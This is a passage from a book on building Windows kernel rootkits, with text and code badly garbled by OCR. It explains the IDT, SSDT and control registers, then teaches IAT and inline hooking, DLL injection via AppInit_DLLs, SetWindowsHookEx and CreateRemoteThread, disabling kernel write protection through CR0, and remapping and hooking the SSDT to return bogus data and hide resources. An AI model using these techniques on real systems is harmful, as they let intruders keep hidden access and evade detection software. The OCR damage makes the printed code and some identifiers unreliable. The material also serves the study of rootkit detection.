unsi gned char unused_| o;
unsi gned char segnent type:4; //0OxOE is interrupt gate
unsi gned char system segnent flag: 1;
unsi gned char DPL: 2; /'l descriptor privilege |evel
unsi gned char P: 1; /'l present
unsi gned short Hi O f set;
} | DTENTRY

#pragma pack()

This data structure is used to locate the function in memory that will deal with an interrupt event. This
structure is sometimes called an interrupt gate. Using an interrupt gate, a user-mode program can call
kernel-mode routines. For example, the interrupt for a system call istargeted at offset Ox2E inthe IDT
table.

A system call is handled in kernel mode, even though it can be initiated from user mode. Additional
interrupt gates can be placed as a back door by arootkit. A rootkit can also hook existing interrupt gates.



To accessthe IDT, use the following code example as a guide:

#defi ne MAKELONG a, b)
((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned

<< 16))

The maximum number of entriesin the IDT is 256.

#def i ne MAX_| DT_ENTRI ES OxFF

For example purposes, we implement the parser within the DriverEntry routine of a sample rootkit.

NTSTATUS DriverEntry(I N PDRI VER OBJECT t heDriver Qbj ect,

I N PUNI CODE_STRI NG t heRegi stryPath )

IDTINFO idt_info; // this structure is obtained by
/1 calling STORE | DT (sidt)
| DTENTRY* idt_entries; // and then this pointer is
/'l obtained fromidt info

unsi gned | ong count;

/1 load idt_info

_asmsidt, idt_info

We use the data returned by the SIDT instruction to get the base of the IDT. We then loop though each



entry and print some data to the debug output.

idt_entries = (| DTENTRY*)
MAKELONG i dt _i nf o. Lowl DTbase, i dt _i nfo. Hi | DTbase) ;
for(count = 0;count <= MAX | DT_ENTRI ES; count ++)
{
char _t[255];
| DTENTRY *1 = & dt _entries[count];
unsi gned | ong addr = O;

addr = MAKELONEi ->LowOF fset, i->H O fset);

_snprintf(_t,
253,
"Interrupt %: | SR Ox%8X", count, addr);
DbgPrint (_t);
}
return STATUS SUCCESS;

This code exampleillustrates parsing the IDT. No actual modifications to the IDT are made. However,
this code can easily become the base of something more complex.

More detailed work with interruptsis covered in Chapters5 and 8.
Other Types of Gates

Beyond interrupt gates, the IDT can contain task gates and trap gates. A trap gate differsfrom an
interrupt gate only in that it can be interrupted by maskable interrupts, while an interrupt gate cannot. A
task gate, on the other hand, is arather outdated feature of the processor. A task gate can be used to force
an x86 task switch. Since the feature is not used by Windows, we don't illustrate it with an example.



A task should not be confused with a process under Windows. A task for the x86 CPU is managed viaa
Task Switch Segment (TSS)afacility originally used to manage tasks using hardware. Linux, Windows,
and many other OS'simplement task switching in software, and for the most part do not utilize the
underlying hardware mechanism.



The System Service Dispatch Table

The system service dispatch table is used to look up the function required to handle a given system call.
Thisfacility isimplemented in the operating system, not by the CPU. There are two ways a program can
make a system call: by using interrupt Ox2E, or by using the SY SENTER instruction.

On Windows X P and beyond, programs typically use the SY SENTER instruction, while older platforms
use interrupt OX2E. The two mechanisms are completely different, although they achieve the same result.

Making a system call resultsin the function KiSystemService being called in the kernel. Thisfunction
reads the system-call number from the EAX register, and looks up the call in the SSDT.
KiSystemService a so copies the arguments for the system call from the user-mode stack onto the
kernel-mode stack. The arguments are pointed to by the EDX register. Some rootkits will hook into this
processing chain to sniff data, alter data arguments, or redirect the system call. This technique is covered
in great detail in Chapter 4.



The Control Registers

Aside from the system tables, afew special registers control important features of the CPU. These
registers may be used by rootkits.

Control Register Zero (CRO0)

The control register contains bits that control how the processor behaves. A popular method for
disabling memory-access protection in the kernel involves modifying a control register known as CRO.

The control register was first introduced in the lowly '286 processor and was previously called the
machine status word. It was renamed Control Register Zero (CRO) with the release of the ‘386 family of
processors. It wasn't until the '486 series of processors that the write protect (WP) bit was added to CRO.
The WP bit controls whether the processor will allow writes to memory pages marked as read-only.
Setting WP to zero disables memory protection. Thisis very important for kernel rootkits that are
intended to write to OS data structures.

The following code shows how to disable and re-enable memory protection using the CRO trick.

/1 UN-protect nenory

__asm
{
push eax
nmov eax, CRO
and eax, OFFFEFFFFh
mov  CRO, eax
pop eax
}

/1 do sonet hi ng
/'l RE-protect nenory

asm

{

push eax



mv eax, CRO
or eax, NOTI OFFFEFFFFh
mv CRO, eax

pop eax

Other Control Registers

There are four more control registers, and they handle other functions for the processor. CR1 remains
unused or undocumented. CR2 is used when the processor is in protected mode; it stores the last address
that caused a page fault. CR3 stores the address of the page directory. CR4 was not implemented until
the Pentium series of processors (and later versions of the '486); it handles matters such as when the
virtual 8086 mode is enabledthat is, when running an old DOS program on Windows NT. If thismodeis
enabled, the processor will trap privileged instructions such as CLI, STI, and INT. For the most part,
these additional registers are not useful for rootkits.

The EFlags Register

The EFlags register is aso important. For one thing, it handles the trap flag. When thisflag is set, the
processor will single-step. A rootkit can use a feature such as single-stepping to detect whether a
debugger is running or to hide from virus-scanner software. Y ou can disable interrupts by clearing the
interrupt flag. Also, the 1/0 Privilege Level can be used to modify the ring-based protection system used
by most Intel-based operating systems.



Multiprocessor Systems

Multiprocessor systems (sometimes known as Symmetric Multi-Processing [SMP] systems) and hyper-
threaded systems come with their own unique set of problems. The major issue they pose for rootkit
developersis synchronization. If you have written multi-threaded applications, you have already come to
understand thread safety (we hope!), and what can happen if two threads access a data object at the same
time. If you haven't, sufficeit to say that if two different operations access the same data object at the
same time, the data object will become corrupted. It's like having too many cooks in the kitchen!

Multiple-processor systems are like multi-threaded environments in away, because code can be
executing on two or more CPUs at once. Chapter 7, Direct Kernel Object Manipulation, covers
multiprocessor synchronization.

The layout of atypical multiprocessor system is shown in Figure 3-8. Asthe figureillustrates, multiple
CPUs share access to asingle memory area, set of controllers, and group of devices.

Figure 3-8. A typical multiprocessor bus layout.
CPU 1 I CPU2 I CPU 3 I CPU 4 I
1 | | J

Physical
Memory

Morthbridge Controller

Southbridge Controller

Some points to remember about multiprocessor systems:

Every CPU HasitsOwn Interrupt Table. If you hook the interrupt table, remember to hook it for all
the CPUS! If you don't, then your hook will only apply to asingle CPU. This may beintentional if you
don't need to have 100% control over an interruptbut thisisrare.

« A driver that works fine on asingle processor system may crash (produce a Blue Screen of Death)
on amultiprocessor system. Y ou must include multiprocessor systems into your test plan.

« The same driver function can be running in multiple contexts, on multiple CPUs, simultaneously.
The only way to make this safeis to use locking and synchronization with shared resources.



« Multiprocessor systems provide interlock routines, Spinlocks, and Mutexes. These are tools
provided by the system to help you synchronize accessto data. Details on their use can be found in
the DDK documentation.

« Don't implement your own locking mechanisms. Use the tools the system aready provides. If you
really must do it yourself, then you must familiarize yourself with memory barriers
(KeMemoryBarrier, etc.) and hardware reordering of instructions. These topics are beyond the
scope of this book.

« Detect which processor you are running on. You can use acall like
K eGetCurrentProcessorNumber to determine which processor your code is currently running on.
Y ou can aso use KeGetA ctiveProcessors to determine how many active processors arein the
system.

« Force execution on a specific processor. Y ou can schedule code to be run on a particular processor.
See KeSetTargetProcessorDPC in the DDK documentation.

Conclusion

This chapter has introduced the hardware-level mechanisms that work behind the scenes to enforce
security and memory access in the operating system. It also has covered, in some detail, the use of the
interrupt table. This knowledge is a basis upon which you can grow your understanding of computer
mani pul ation. Because the hardware is ultimately responsible for implementing the software, all
software is subject to manipulations applied at the hardware level. Thoroughly understanding these
conceptsisthe starting point for true rootkit skills and the ability to subvert any other software running
on the system.



Chapter 4. The Age-Old Art of Hooking

How does the sea become the king of all streams?Because it lies lower than they!Hence it isthe
king of all streams.

Lao Tzu

The two purposes of most rootkits are to allow continued access to the computer and to provide stealth
for the intruder. To achieve these objectives, your rootkit must alter the execution path of the operating
system or directly attack the data that stores information about processes, drivers, network connections,
etc. Chapter 7, Direct Kernel Object Manipulation, discusses the latter approach. In this chapter, we will
cover altering the execution path of important reporting functions provided by the operating system. We
will begin with adiscussion of simple userland hooks in atarget process, then advance to covering more
global kernel-level hooks. At the end of the chapter, we will present a hybrid method. Keep in mind that
the goal isto intercept the normal execution flow and ater the information returned by the operating
system'sreport-ing APIs.



Userland Hooks

In Windows, there are three subsystems on which most processes depend. They are the Win32, POSI X,
and OS/2 subsystems. These subsystems comprise awell-documented set of APIs. Through these APIs,
aprocess can request the aid of the OS. Because programs such as Taskmgr.exe, Windows Explorer, and
the Registry Editor rely upon these APIs, they are a perfect target for your rootkit.

For example, suppose an application lists al the filesin a directory and performs some operation on
them. This application may run in user space as a user application or as a service. Assume further that
the application is aWin32 application, which implies it will use Kernel32, User32.dll, Gui32.dll, and
Advapi.dll to eventually issue callsinto the kernel.

Under Win32, to list all thefilesin adirectory, an application first calls FindFirstFile, which is exported
by Kernel32.dll. FindFirstFile returns ahandleif it is successful.

Thishandle is used in subsequent calls to FindNextFile to iterate through all the files and subdirectories
in the directory. FindNextFileis also an exported function in Kernel32.dll. To use these functions, the
application will load Kernel32.dll at runtime and copy the memory addresses of the functionsinto its
function Import Address Table (IAT). When the application calls FindNextFile, execution in the process
jumpsto alocation inits IAT. Execution in the process then continues to the address of FindNextFilein
Kernel32.dll. The sameistrue for FindFirstFile.

FindNextFilein Kernel 32.dll then callsinto Ntdll.dll. Ntdll.dll loads the EAX register with the system
service number for FindNextFile's equivalent kernel function, which happensto be
NtQueryDirectoryFile. Ntdll.dll aso loads EDX, with the user space address of the parameters to
FindNextFile. Ntdll.dll thenissuesan INT 2E or a SY SENTER instruction to trap to the kernel. (These
trapsinto the kernel are covered later in this chapter.) This sequence of callsisillustrated in Figure 4-1.

Figure 4-1. FindNextFile execution path.
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Because the application loads Kernel 32.dll into its private address space between memory addresses
0x00010000 and 0x7FFEO00QO, your rootkit can directly overwrite any function in Kernel32.dll or in the
application'simport table aslong as the rootkit can access the address space of the target process. Thisis
called API hooking. In our example, your rootkit could overwrite FindNextFile with your own hand-
crafted machine code in order to prevent listing of certain files or otherwise change the performance of
FindNextFile. The rootkit could also overwrite the import table in the target application so that it points
to the rootkit's own function instead of Kernel32.dll's. By hooking APIs, you can hide a process, hide a
network port, redirect file writesto a different file, prevent an application from opening a handleto a
particular process, and more. In fact, what you do with this techniqueislargely up to your imagination.

Now that you understand the basic theory of APl hooking and what you can accomplish using it, we will
detail implementing an API hook in a user processin the following three sections. The first section
outlines how an IAT hook works, and the second section describes what an inline function hook is and
how it works. The third section coversinjecting aDLL into auserland process.

Import Address Table Hooking

The simpler of the two userland hooking processesis called Import Address Table hooking. When an
application uses a function in another binary, the application must import the address of the function.
Most applications that use the Win32 API do so through an AT, as noted earlier. Each DLL the
application usesis contained in the application'simage in the file system in a structure called the
IMAGE_IMPORT_DESCRIPTOR. This structure contains the name of the DLL whose functions are
imported by the application, and two pointersto two arrays of IMAGE_IMPORT_BY_NAME
structures. The IMAGE _IMPORT_BY _NAME structure contains the names of the imported functions
used by the application.

When the operating system |oads the application in memory, it parses these
IMAGE_IMPORT_DESCRIPTOR structures and loads each required DLL into the application's



memory. Once the DLL is mapped, the operating system then locates each imported function in memory
and overwrites one of the IMAGE_IMPORT_BY_NAME arrays with the actual address of the function.
(To learn more about these and other structures in the Windows PE format, see Matt Pietrek's article. [1])

(11 M. Pietrek, "Peering Inside the PE: A Tour of the Win32 Portable Executable File Format," Microsoft Systems
Journal, March 1994.

Once your rootkit's hook function isin the application's address space, your rootkit can parse the PE
format of the target application in memory and replace the target function's addressin the IAT with the
address of the hook function. Then, when the function is called, your hook will be executed instead of
the original function. Figure 4-2 illustrates the control flow once the IAT is hooked.

Figure 4-2. Normal execution path vs. hooked execution path for an IAT hook.
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We will discuss how to get your rootkit into the address space of the target application later in the
chapter. For code to hook the IAT of agiven binary, see the section titled Hybrid Hooking Approach
near the end of this chapter.

Y ou can see from Figure 4-2 that thisisavery powerful yet rather simple technique. It does have its
drawbacks, though, in that it isrelatively easy to discover these types of hooks. On the other hand, hooks
like these are used frequently, even by the operating system itself in aprocess called DLL forwarding.
Even if someoneistrying to detect arootkit hook, determining what is a benign hook as opposed to a
malicious hook is difficult.

Another problem with this technigue has to do with the binding time. Some applications do late-demand
binding. With late-demand binding, function addresses are not resolved until the functionis called. This
reduces the amount of memory the application will use. These functions may not have addresses in the
IAT when your rootkit attempts to hook them. Also, if the application uses LoadLibrary and
GetProcAddress to find the addresses of functions, your AT hook will not work.

Inline Function Hooking

The second userland hooking process we will discussis called inline function hooking. Inline function
hooks are much more powerful than IAT hooks. They do not suffer from the problems associated with
the binding time of the DLL. When implementing an inline function hook, your rootkit will actually



overwrite the code bytes of the target function so that no matter how or when the application resolves
the function address, it will still be hooked. This technique can be used in the kernel or in a userland
process, but it is more common in userland.

Typically, an inline function hook isimplemented by saving the first several bytes of the target function
that the hook will overwrite. After the original bytes are saved, an immediate jump is usually placed in
the first five bytes of the target function. The jump leads to the rootkit hook. The hook can then call the
original function using the saved bytes of the target function that were overwritten. Using this method,
the original function will return execution control to the rootkit hook. Now, the hook can alter the data
returned by the original function.

The easiest location to use for placement of an inline hook iswithin the first five bytes of the function.
There are two reasons for this. The first concerns the structure of most functionsin memory. Most of the
functionsin the Win32 API begin the same way. This structure is called the preamble. The following
block of codeisthe Assembly language for typical function preambles.

Pre- XP SP2 Code Bytes Assenbl y
55 push ebp
8bec nov ebp, esp
Post - XP SP2 Code Bytes Assenbl y
8bf f nov edi, edi
55 push ebp
8bec nov ebp, esp

It isimportant to determine which version of the function preamble your rootkit isto overwrite. An
unconditional jump to your rootkit hook on the x86 architecture will usually require five bytes. The first
byte isfor the jmp opcode, and the remaining four bytes are the address of your hook. An illustration of
thisis provided in Chapter 5.

In the pre-XP SP2 case, you will overwrite the three bytes of the preamble and two bytes of some other
instruction. To account for this, your patching function must be able to disassemble the beginning of the
function and determine instruction lengths in order to preserve the original function's opcodes. In post-
XP SP2, Microsoft has made your job easier. The preamble is exactly five bytes, so you have exactly
enough room. Microsoft actually did thisto allow for hot patching (insertion of new code without
rebooting the machine). Even Microsoft knows how convenient an inline hook is when all the bytesline

up properly.



The second reason why the beginning of the target function is usually overwritten is because the deeper
into the function the hook is placed, the more you have to worry about code re-entry. The location you
are hooking may be called by the target function many times. This can cause undesired results. To
simplify matters, your rootkit will want to hook the single ingress point of the function and alter the
results of the target function after it has |eft an egress point.

Y our rootkit saves the original function bytesin what is called atrampoline. The jump you placein the
target function is called the detour. Y our detour calls the trampoline, which jumps to the target function
plusfive bytes, roughly. When the target function returns to your detour, you can alter the results
returned by the target function. Figure 4-3 demonstrates the process. The source function is the code that
originally called the target function.

Figure 4-3. Temporal ordering of a detoured function.
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More information about how to implement an inline hook is provided in Chapter 5, Runtime Patching.
We also encourage you to read the landmark paper on inline function patching from Microsoft
Research.[?]

(2 G. Hunt and D. Brubacker, "Detours: Binary Interception of Win32 Functions," Proceedings of the Third USENIX
Windows NT Symposium, July 1999, pp. 13543.

Injecting a DLL into Userland Processes

The next three sections discuss userland techniques for getting your rootkit code into the address space
of another process. These methods were first documented by Jeffrey Richter.[3] Onceyour DLL is
loaded into the target process, it can ater the execution path of commonly used APIs.

(31 J. Richter, "Load Y our 32-bit DLL into Another Process's Address Space Using INJLIB," Microsoft Systems Journal/9
No. 5 (May 1994).

Injecting a DLL using the Registry

In Windows NT/2000/X P/2003, there is a Registry key named
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\
Windows\Applnit_DLLs. Your rootkit can set the value of this key to one of its own DLLsthat modifies
the target processs |AT, or modifies kernel 32.dIl or ntdll.dll directly. When an application is |loaded that



uses User32.dll, the DLL listed as the value of this key will also be loaded by User32.dll into the
application's address space.

User32.dll loadsthe DLLslisted in this key with a call to the LoadLibrary function. Aseach DLL is
loaded, its DIIMain function is called with the reason of DLL_PROCESS ATTACH. There are four
reasons why a DLL may be loaded into a process's address space, but we are interested only in
DLL_PROCESS ATTACH. Your rootkit should hook whatever functions areitstarget if the rootkit
DLL isbeing loaded for the first time by the process, which isindicated by DLL_PROCESS ATTACH.
Since DIIMain isautomatically called and the DLL isin every application's address space that uses
User32.dll, which includes most applications (aside from some console applications), your rootkit could
easily hook function calls to hide evidence of files, registry keys, etc.

Some sources will tell you there is adrawback to this techniquethat after a rootkit changes the value of
this key, the computer must be rebooted for the value to take effect. However, thisis not entirely correct.
All the processes created before your rootkit has modified the Registry key will remain uninfected, but
all processes created after the Registry key ismodified will be injected with your DLL, without
rebooting the machine.

Injecting a DLL using Windows Hooks

Applications receive event messages for many events in the computer that relate to the application. For
example, an application can receive event messages when a key is typed while one of itswindowsis
active, when a button is pushed, or when the mouseisin focus.

Microsoft defines a function that makes it possible to hook window messages in another process, which
will effectively load your rootkit DLL into the address space of that other process.

Suppose the application you are trying to inject your DLL into iscalled process B. A separate process,
call it process A or the rootkit loader, can call SetWindowsHookEx. The function prototype of
SetWindowsHookEx as defined by the Microsoft MSDN is listed below.

HHOOK Set W ndows Hook Ex (
i nt idHook,
HOOKPROC | pf n,
HI NSTANCE hMbd,

DWORD dwThr eadl d

Four parameters are indicated. The first parameter is the type of event message that will trigger the hook.



An exampleisWH_KEYBOARD, which installs a hook procedure that monitors keystroke messages.
The second parameter identifies the address (in process A of the function) the system should call when a
window is about to process the specified message. The virtual-memory address of the DLL that contains
this function isthe third parameter. The last parameter is the thread to hook. If this parameter is O, the
system hooks all threads in the current Windows desktop.

If process A calls SetWindowsHookEx(WH_KEYBOARD, myKeyBrdFuncAd, myDlIHandle, 0), for
example, when process B is about to receive akeyboard event process B will load the rootkit DLL
specified by myDlIHandle that contains the myKeyBrdFuncAd function. Again, thisDLL could be the
part of your rootkit that hooks the IATs in the process's address space or implements inline hooks. The
following code is atemplate of how your rootkit DLL would be implemented.

BOOL API ENTRY DI | Mai n( HANDLE hMbdul e,
DWORD ul reason_for _call,

LPVAO D | pReserved)

{
I f (ul _reason _for _call == DLL_PROCESS ATTACH)
{
/1 YOU CAN ADD CODE HERE TO HOOK ANYTHI NG
/1 YOU WOULD LI KE, NOW THAT YOU ARE | NJECTED
/1 1 NTO THE VI CTI M PROCESS ADDRESS SPACE.
}
return TRUE;
}

__decl spec (dllexport) LRESULT myKeyBrdFuncAd (i nt code,
WPARAM wPar am

LPARAM | Par am)

/1l To be nice, your rootkit should call the next-Iower
/'l hook, but you never know what this hook may be.

return Cal | Next HookEx(g_hhook, code, wParam | Paran;



Injecting a DLL using Remote Threads

Another way to load your rootkit DLL into the target processis by creating what is called aremote
thread in that process. Y ou will need to write a program that will create the thread specifying the rootkit
DLL toload. This strategy is similar to that described in the previous section.

Create Remote Thread takes seven parameters:

HANDLE Cr eat eRenot eThr ead(
HANDLE hProcess,
LPSECURI TY_ATTRI BUTES | pThreadAttri but es,
SIZE T dwst ackSi ze,
LPTHREAD _START_ROUTI NE | pSt ar t Addr ess,
LPVA D | pPar anet er,
DWORD dwCr eat i onFl ags,

LPDWORD | pThr eadl d

Thefirst parameter is a handle to the process in which to inject the thread. To get a handle to the target
process, your rootkit loader can call OpenProcess with the target Process Identifier (PID). OpenProcess
has the following function prototype:

HANDLE OpenPr ocess(DWORD dwDesi r edAccess,
BOCL bl nheri t Handl e,

DWORD dwPr ocessl d



The PID of the target process can be found by using the Taskmgr.exe utility in Windows. Obviously, the
PID can aso be found programmatically.

Set the second and seventh parameters of CreateRemoteThread to NULL and the third and sixth
parametersto O.

This leaves the two parameters that are the crux of the attack: the fourth and the fifth. Y our rootkit
loader should set the fourth parameter to the address of LoadLibrary in the target process. Y ou can use
the address of LoadLibrary in your current rootkit loader application. Since this address must exist in the
target process, thisworks only if Kernel32.dll, which exports LoadLibrary, isloaded in the target
process. To get the address of LoadLibrary, your rootkit loader can call the GetProcAddress function
likethis:

Get ProcAddr ess( Get Modul eHandl e( TEXT( "Kernel 32")), "LoadLi braryA").

The above call getsthe address of LoadLibrary in the process that is doing the injecting, assuming that
Kernel32.dll is at the same base location in the target process. (Thisis usually the case, because rebasing
DL Ls costs the operating system more time when loading the DLL into memory, and Microsoft wants to
avoid the performance hit that would be caused by rebasing its DLLs.) LoadLibrary has the same format
and return typeasa THREAD_ START_ROUTINE function, so its address can be used as the fourth
parameter to CreateRemoteThread.

The last interesting parameter, the fifth, is the address in memory of the argument that will get passed to
LoadLibrary. Your rootkit loader cannot just pass a string here, because that would refer to an addressin
the rootkit loader's address space and therefore be meaningless to the target process. Microsoft has
provided two functions that will help the rootkit loader get around this hurdle.

By calling Virtual AllocEx, your rootkit loader can allocate memory in the target process:

LPVAO D Virtual Al | ocEx(
HANDLE hProcess,
LPVO D | pAddr ess,
SI ZE T dwSi ze,
DWORD fl Al | ocati onType,

DWORD f 1 Pr ot ect



To write the name of the rootkit DLL to be used in the call to LoadLibrary in the target process, call
WriteProcessM emory with the address you received from the call to Virtual AllocEx. The prototype of
WriteProcessMemory is:

BOOL Wi teProcessMenory(
HANDLE hProcess,
LPVO D | pBaseAddr ess,
LPCvVO D | pBuffer,
SIZE T nSi ze,

SIZE_ T* | pNunber O BytesWitten

In the preceding overview of userland hooks, we have seen that these hooks are typically IAT or inline
function hooks; that in order to implement hooks in userland, you must get access to the target process's
address space; and that injecting aDLL or athread into the target process is a common way to access the
target process's address space.

Now that you understand these concepts regarding userland hooks, the following section will introduce
kernel hooks.



Kernel Hooks

As explained in the previous section, userland hooks are useful, but they are relatively easy to detect and
prevent. (Userland-hook detection is discussed in detail in Chapter 10, Rootkit Detection.) A more
elegant solution isto install akernel memory hook. By using akernel hook, your rootkit will be on equal
footing with any detection software.

Kernel memory isthe high virtual address memory region. In the Intel x86 architecture, kernel memory
usually resides in the region of memory at 0x80000000 and above. If the /3GB boot configuration switch
Is used, which alows a process to have 3 GB of virtual memory, the kernel memory starts at
0xC0000000.

Asageneral rule, processes cannot access kernel memory. The exception to this rule is when a process
has debug privileges and goes through certain debugging APIs, or when acall gate has been installed.
We will not cover these exceptions here. For more information on call gates refer to the Intel
Architecture Manuals.[4]

(41 |A-32 Intel Architecture Software Developer's Manual, Volume 3, Section 4.8.
For our purposes, your rootkit will access kernel memory by implementing adevice driver.

The kernel providestheideal placeto install a hook. There are many reasons for this, but the two that
are most important to remember are that kernel hooks are global (relatively speaking), and that they are
harder to detect, because if your rootkit and the protection/detection software are both in Ring Zero, your
rootkit has an even playing field on which to evade or disable the protection/detection software. (For
more on rings, refer to Chapter 3, The Hardware Connection.)

In this section, we will cover the three most common places to hook, but be aware that you can find
others depending on what your rootkit is intended to accomplish.

Hooking the System Service Descriptor Table

The Windows executive runsin kernel mode and provides native support to all of the operating system's
subsystems: Win32, POSIX, and OS/2. These native system services addresses are listed in akernel
structure called the System Service Dispatch Table (SSDT).[®] This table can be indexed by system call
number to locate the address of the function in memory. Another table, called the System Service
Parameter Table (SSPT),[8] specifies the number of bytes for the function parameters for each system
service.

(51 P, Dabak, S. Phadke, and M. Borate, Undocumented Windows NT (New York: M& T Books, 1999), pp. 11729.

(6] |bid., pp. 1289.

The KeServiceDescriptorTable is atable exported by the kernel. The table contains a pointer to the
portion of the SSDT that contains the core system services implemented in Ntoskrnl.exe, whichisa
major piece of the kernel. The KeServiceDescriptorTable also contains a pointer to the SSPT.

The KeServiceDescriptorTable is depicted in Figure 4-4 . The datain thisillustration is from Windows
2000 Advanced Server with no service packs applied. The SSDT in Figure 4-4 contains the addresses of



individual functions exported by the kernel. Each address is four bytes long.

Figure 4-4. KeServiceDescriptorTable.
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To call aspecific function, the system service dispatcher, KiSystemService, simply takes the ID number
of the desired function and multipliesit by 4 to get the offset into the SSDT. Notice that
KeServiceDescriptorTable contains the number of services. Thisvalueis used to find the maximum
offset into the SSDT or the SSPT. The SSPT is aso depicted in Figure 4-4 . Each element in thistableis
one byte in size and specifies in hex how many bytes its corresponding function in the SSDT takes as
parameters. In this example, the function at address Ox804AB3BF takes 0x18 bytes of parameters.

Thereis another table, called KeServiceDescriptorTableShadow, that contains the addresses of USER
and GDI servicesimplemented in the kernel driver, Win32k.sys. Dabak et al. describe these tablesin
Undocumented Windows NT .

A system service dispatch istriggered when an INT 2E or SY SENTER instruction is called. This causes
aprocess to transition into kernel mode by calling the system service dispatcher. An application can call
the system service dispatcher, KiSystemService, directly, or through the use of the subsystem. If the
subsystem (such as Win32) is used, it callsinto Ntdll.dll, which loads EAX with the system service
identifier number or index of the system function requested. It then loads EDX with the address of the
function parametersin user mode. The system service dispatcher verifies the number of parameters, and
copies them from the user stack onto the kernel stack. It then calls the function stored at the address
indexed in the SSDT by the service identifier number in EAX. (This processis discussed in more detall
in the section Hooking the Interrupt Descriptor Table, later in this chapter.)

Once your rootkit isloaded as a device driver, it can change the SSDT to point to afunction it provides
instead of into Ntoskrnl.exe or Win32k.sys. When anon-kernel application callsinto the kernel, the
request is processed by the system service dispatcher, and your rootkit's function is called. At this point,
the rootkit can pass back whatever bogus information it wants to the application, effectively hiding itself
and the resources it uses.



Changing the SSDT Memory Protections

Aswe discussed in Chapter 2 , some versions of Windows come with write protection enabled for
certain portions of memory. This becomes more common with later versions, such as Windows XP and
Windows 2003. These |ater versions of the operating system make the SSDT read-only becauseit is
unlikely that any legitimate program would need to modify thistable.

Write protection presents a significant problem to your rootkit if you want to filter the responses
returned from certain system calls using call hooking. If an attempt is made to write to aread-only
portion of memory, such asthe SSDT, a Blue Screen of Death (BSoD) will occur. In Chapter 2 , you
learned how you could modify the CRO register to bypass the memory protection and avoid this BSoD.
This section explains another method for changing memory protections, using processes more
thoroughly documented by Microsoft.

Y ou can describe aregion of memory in aMemory Descriptor List (MDL). MDLSs contain the start
address, owning process, number of bytes, and flags for the memory region:

I/ NDL references defined in ntddk.h
typedef struct _MDL {

struct _MDL *Next;

CSHORT Si ze;

CSHORT Ml Fl ags;

struct _EPROCESS *Process;

PVO D MappedSyst enva;

PVO D Start Va;

ULONG Byt eCount ;

ULONG Byt eOr f set ;
} MDL, *PMDL;
/1 NMDL Fl ags
#def i ne MDL_MAPPED TO SYSTEM VA 0x0001
#defi ne MDL_PAGES LOCKED 0x0002
#defi ne MDL_SOURCE | S NONPAGED POOL 0x0004

#defi ne MDL_ALLOCATED_FI XED_SI ZE 0x0008



#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

To change the flags on the memory, the code below starts by declaring a structure used to cast the

K eServiceDescriptorTable variable exported by the Windows kernel. Y ou need the
KeServiceDescriptorTable base and the number of entriesit contains when you call MmCreateMdl. This
defines the beginning and the size of the memory region you want the MDL to describe. Y our rootkit

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

MDL_PARTI AL 0x0010
MDL_PARTI AL_HAS_BEEN_MAPPED 0x0020
MDL_| O PAGE_READ 0x0040
MDL_W\RI TE_OPERATI ON 0x0080

MDL_PARENT MAPPED SYSTEM VA 0x0100

MDL_LOCK_HELD 0x0200
MDL_PHYSI CAL_VI EW 0x0400
MDL_| O SPACE 0x0800
MDL_NETWORK_HEADER 0x1000
MDL_MAPPI NG _CAN_FAI L 0x2000

MDL_ALLOCATED _MUST_SUCCEED 0x4000

then builds the MDL from the non-paged pool of memory.

Y our rootkit changes the flags on the MDL to alow you to write to a memory region by ORing them
with the aforementioned MDL_MAPPED_TO_SYSTEM_VA. Next, it locks the MDL pages in memory

by calling MmM apL ockedPages.

Now you are ready to begin hooking the SSDT. In the following code, MappedSystemCall Table
represents the same address as the original SSDT, but you can now write to it.

/] Decl arations

#pragma pack(1)

t ypedef struct ServiceDescriptorEntry {

unsi gned int *Servi ceTabl eBase;

unsi gned int *Servi ceCount er Tabl eBase;

unsi gned i nt Nunmber O Servi ces;



unsi gned char *Par aniTabl eBase;
} SSDT_Entry;
#pragma pack()

__decl spec(dllinmport) SSDT _Entry KeServi ceDescri ptorTabl e;

PVMDL g pndl Systental | ;
PVA D *MappedSyst entCal | Tabl e;
/| Code

/'l save old systemcall |ocations

/[l NMap the nmenory into our domain to change the perm ssions on // the |
g_pmdl Systental | = MCreat eMdl ( NULL,
KeSer vi ceDescri pt or Tabl e. Servi ceTabl eBase,
KeSer vi ceDescri pt or Tabl e. Nunber O Servi ces*4) ;
i f(!g_pndl Systental |)
return STATUS UNSUCCESSFUL;
MBui | dMdl For NonPagedPool (g_pndl SystentCal | ) ;
/1 Change the flags of the MDL
g_pndl SystentCal | - >Mll Fl ags = g_pndl Syst entCal | - >Mll Fl ags |

VMDL_MAPPED_TO_SYSTEM VA;

MappedSyst entCal | Tabl e = MrivapLockedPages(g_pndl SystenCal |, Ker nel Mbde) ;

Hooking the SSDT

Several macros are useful for hooking the SSDT. The SY STEM SERVICE macro takes the address of a
function exported by ntoskrnl.exe, aZw* function, and returns the address of the corresponding Nt*



function in the SSDT. The Nt* functions are the private functions whose addresses are contained in the
SSDT. The Zw* functions are those exported by the kernel for the use of device drivers and other kernel
components. Note that there is not a one-to-one correspondence between each entry in the SSDT and
each Zw* function.

The SYSCALL_INDEX macro takes the address of a Zw* function and returns its corresponding index
number in the SSDT. This macro and the SY STEM SERV I CEL"] macro work because of the opcode at
the beginning of the Zw* functions. As of thiswriting, all the Zw* functionsin the kernel begin with the
opcode mov eax, ULONG, where ULONG isthe index number of the system call in the SSDT. By
looking at the second byte of the function asa ULONG, these macros get the index number of the
function.

(7] P. Dabak, S. Phadke, and M. Borate, Undocumented Windows NT (New Y ork: M& T Books, 1999), p. 119.

The HOOK_SY SCALL and UNHOOK _SY SCALL macrostake the address of the Zw* function being
hooked, get itsindex, and atomically exchange the address at that index in the SSDT with the address of
the Hook function.8]

(8 The HOOK_SYSCALL, UNHOOK_SYSCALL, and SYSCALL_INDEX macros were taken from the Regmon source
code from Sysinternals.com. The Regmon code is no longer available for download.

#defi ne SYSTEMSERVI CE(_func) \
KeSer vi ceDescri pt or Tabl e. Servi ceTabl eBase[ *( PULONG) (( PUCHAR) func+1)
#defi ne SYSCALL | NDEX( _Function) *(PULONG (( PUCHAR) Function+1)
#defi ne HOOK SYSCALL(_ Function, _Hook, Oig) \
_Oig = (PVOD) InterlockedExchange( (PLONG \
&VappedSyst ental | Tabl e[ SYSCALL_| NDEX( _Function)], (LONG _Hook)
#defi ne UNHOOK SYSCALL(_Func, _Hook, Oig ) \
